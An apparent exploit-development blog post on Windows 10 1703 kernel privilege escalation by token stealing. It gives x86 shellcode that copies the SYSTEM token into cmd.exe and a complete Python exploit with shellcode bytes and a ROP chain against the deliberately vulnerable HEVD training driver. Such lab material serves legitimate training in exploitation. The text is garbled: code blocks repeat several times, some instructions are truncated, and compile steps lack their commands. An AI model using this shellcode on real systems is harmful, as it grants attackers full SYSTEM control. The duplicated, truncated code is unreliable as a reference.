Security token stealing
When we are attacking the kernel, we are supposed to have unprivileged access to the target machine. That’s why the common exploit goal is to perform Local Privilege Escalation which means to get full privileges on the OS. There are several methods that can be used to do that. Most of them (ab)use the privilege model implemented by Windows.
In Windows, when the system starts, a process called System is created, always with PID 4. As this process is owned by the SYSTEM user, we will use this as the target process to steal the ticket from.

Each process has a EPROCESS structure.

One of the members of that structure is Token which is a ticket granted by the LSASS process.

The token is used to perform operations on the system based on the permissions granted to it. For example, if a process wants to read a file, that file security descriptor will check if the token of process has the permissions to do it. This is what is known as Discretionary Access Control List or DACL.
In Windows, the SYSTEM token has all the permissions granted on all the system objects (files, processes, devices, pipes, etc). That’s why, if we are able to steal that token and insert it to a non-privileged process, that process will gain SYSTEM privileges.
To do that, we first need to get the offset of the Token field in the EPROCESS structure:

As you see, it is at _EPROCESS+0x0fc. With that, we need to get the SYSTEM process descriptor:

Then, we need to get the value of the token for the SYSTEM process:

Now, we launch a cmd.exe process on the target OS and get the current privileges:

We must get the cmd.exe process descriptor:

Finally, we must copy the value of the token of the SYSTEM process to the cmd.exe process. Let’s see it in action:

Wonderful! As you can see, our cmd.exe is now running as nt authority\system!
_____
⚠️ Note: We need to remember that the offsets described in this article are only applicable for the Windows version that we are currently using: Windows 10 1703 32 bits.
_____
Now, we must make this process programmatically if we want to include it in our exploit. The strategy is the following:
Look for a fixed starting point that we can use to calculate offsets, using position-independent code.
Get the current process list.
Find the cmd.exe process.
Find the SYSTEM process (with PID 4).
Grab the Token from the SYSTEM process.
Copy the token from process SYSTEM to the cmd.exe process.
Restore execution.
Enjoy.
The first step is to find a fixed position from where we can get the required structures as an offset. According to this entry, we can access the _NT_TIB structure from the fs segment selector. This structure holds information of the current running thread (in our case, that would be the exploit). The article also says that we can reach the _KTHREAD structure at fs+0x124. With that, we can start writing some assembler:
pushad ; Save current registers
mov eax, dword fs:[0x124]
pushad ; Save current registers
mov eax, dword fs:[0x124]
pushad ; Save current registers
mov eax, dword fs:[0x124]
pushad ; Save current registers
mov eax, dword fs:[0x124]
In the _KTHREAD structure we can find an offset to the _KPROCESS.

It turns out that _KPROCESS is the first field of _EPROCESS, which means that we can access the _EPROCESS structure at _KTHREAD+0x150:
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150]
The _EPROCESS structure holds the required offsets to the other needed information:
_EPROCESS+0x0b8 points to ActiveProcessLinks which is a linked list holding the current running processes, and _EPROCESS+0x0b4 points to the current process PID:

_EPROCESS+0x140 points to InheritedFromUniqueProcessId which will contain the PID of the parent process, in our case the PID of cmd.exe:

With that, we need to save the PID of cmd.exe:
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140]
Now we need to traverse the ActiveProcessLinks list to find the _EPROCESS structure for the cmd.exe process:
pushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4]
pushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4]
pushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4]
pushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4]
Then, find the _EPROCESS structure for the SYSTEM process:
pushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4]
pushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4]
pushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4]
pushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4]
We then must move the token from SYSTEM to cmd.exe:
pushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc ; ECX now points to the Token of SYSTEM
mov ecx, [ecx] ; Copy contents of Token to ECX
mov [edi+0x0fc]
pushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc ; ECX now points to the Token of SYSTEM
mov ecx, [ecx] ; Copy contents of Token to ECX
mov [edi+0x0fc]
pushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc ; ECX now points to the Token of SYSTEM
mov ecx, [ecx] ; Copy contents of Token to ECX
mov [edi+0x0fc]
pushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc ; ECX now points to the Token of SYSTEM
mov ecx, [ecx] ; Copy contents of Token to ECX
mov [edi+0x0fc]
And finally restore execution. As we are writing in the stack, we had surely mangled immediate stack frames of caller functions. If we look at the stack after executing the shellcode, we can see that there is a stack frame at which we can return to, located at esp+0x10:

With that, we can add a restore point to our shellcode:
pushad
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc ; ECX now points to the Token of SYSTEM
mov ecx, [ecx] ; Copy contents of Token to ECX
mov [edi+0x0fc]
pushad
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc ; ECX now points to the Token of SYSTEM
mov ecx, [ecx] ; Copy contents of Token to ECX
mov [edi+0x0fc]
pushad
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc ; ECX now points to the Token of SYSTEM
mov ecx, [ecx] ; Copy contents of Token to ECX
mov [edi+0x0fc]
pushad
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc ; ECX now points to the Token of SYSTEM
mov ecx, [ecx] ; Copy contents of Token to ECX
mov [edi+0x0fc]
Now, we can compile that code with:
And get the shellcode with:
Let’s pick the exploit from the last post, and update the shellcode. I also added some print calls that helps to trace at what stage of the exploit we are now:
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-privilege-escalation/
"""
import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
SHELLCODE = (
b'\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01'
b'\x00\x00\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39'
b'\x91\xb4\x00\x00\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00'
b'\x81\xe9\xb8\x00\x00\x00\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1'
b'\xfc\x00\x00\x00\x8b\x09\x89\x8f\xfc\x00\x00\x00\x61\x31\xc0\x40\x83'
b'\xc4\x10\x5d\xc2\x08\x00'
)
print('Allocating memory for shellcode...')
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
print('Moving shellcode to heap...')
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
print('Creating ROP chain...')
ROP_CHAIN = (
struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x000406e9) +
struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +
struct.pack('<L', RET_PTR)
)
PAYLOAD = (
b'A' * 2080 +
ROP_CHAIN
)
SIZE = len(PAYLOAD)
print('Opening driver handle...')
HANDLE = DeviceIoControl(DEVICE_NAME)
print('Sending payload...')
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
print('Done.')
sys.exit(0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-privilege-escalation/
"""
import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
SHELLCODE = (
b'\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01'
b'\x00\x00\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39'
b'\x91\xb4\x00\x00\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00'
b'\x81\xe9\xb8\x00\x00\x00\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1'
b'\xfc\x00\x00\x00\x8b\x09\x89\x8f\xfc\x00\x00\x00\x61\x31\xc0\x40\x83'
b'\xc4\x10\x5d\xc2\x08\x00'
)
print('Allocating memory for shellcode...')
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
print('Moving shellcode to heap...')
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
print('Creating ROP chain...')
ROP_CHAIN = (
struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x000406e9) +
struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +
struct.pack('<L', RET_PTR)
)
PAYLOAD = (
b'A' * 2080 +
ROP_CHAIN
)
SIZE = len(PAYLOAD)
print('Opening driver handle...')
HANDLE = DeviceIoControl(DEVICE_NAME)
print('Sending payload...')
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
print('Done.')
sys.exit(0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-privilege-escalation/
"""
import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
SHELLCODE = (
b'\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01'
b'\x00\x00\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39'
b'\x91\xb4\x00\x00\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00'
b'\x81\xe9\xb8\x00\x00\x00\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1'
b'\xfc\x00\x00\x00\x8b\x09\x89\x8f\xfc\x00\x00\x00\x61\x31\xc0\x40\x83'
b'\xc4\x10\x5d\xc2\x08\x00'
)
print('Allocating memory for shellcode...')
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
print('Moving shellcode to heap...')
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
print('Creating ROP chain...')
ROP_CHAIN = (
struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x000406e9) +
struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +
struct.pack('<L', RET_PTR)
)
PAYLOAD = (
b'A' * 2080 +
ROP_CHAIN
)
SIZE = len(PAYLOAD)
print('Opening driver handle...')
HANDLE = DeviceIoControl(DEVICE_NAME)
print('Sending payload...')
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
print('Done.')
sys.exit(0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-privilege-escalation/
"""
import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
SHELLCODE = (
b'\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01'
b'\x00\x00\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39'
b'\x91\xb4\x00\x00\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00'
b'\x81\xe9\xb8\x00\x00\x00\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1'
b'\xfc\x00\x00\x00\x8b\x09\x89\x8f\xfc\x00\x00\x00\x61\x31\xc0\x40\x83'
b'\xc4\x10\x5d\xc2\x08\x00'
)
print('Allocating memory for shellcode...')
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
print('Moving shellcode to heap...')
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
print('Creating ROP chain...')
ROP_CHAIN = (
struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x000406e9) +
struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +
struct.pack('<L', RET_PTR)
)
PAYLOAD = (
b'A' * 2080 +
ROP_CHAIN
)
SIZE = len(PAYLOAD)
print('Opening driver handle...')
HANDLE = DeviceIoControl(DEVICE_NAME)
print('Sending payload...')
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
print('Done.')
sys.exit(0)And check it:

Glorious! We were able to steal the token of the SYSTEM process and copy it to our cmd.exe shell. Now, we own the system!
Conclusions
It was fun to steal the SYSTEM process token and pass it to our own parent process. There are many other ways of gaining Local Privilege Escalation but this method is one of the most used because it is extremely reliable if you can restore the execution of the kernel.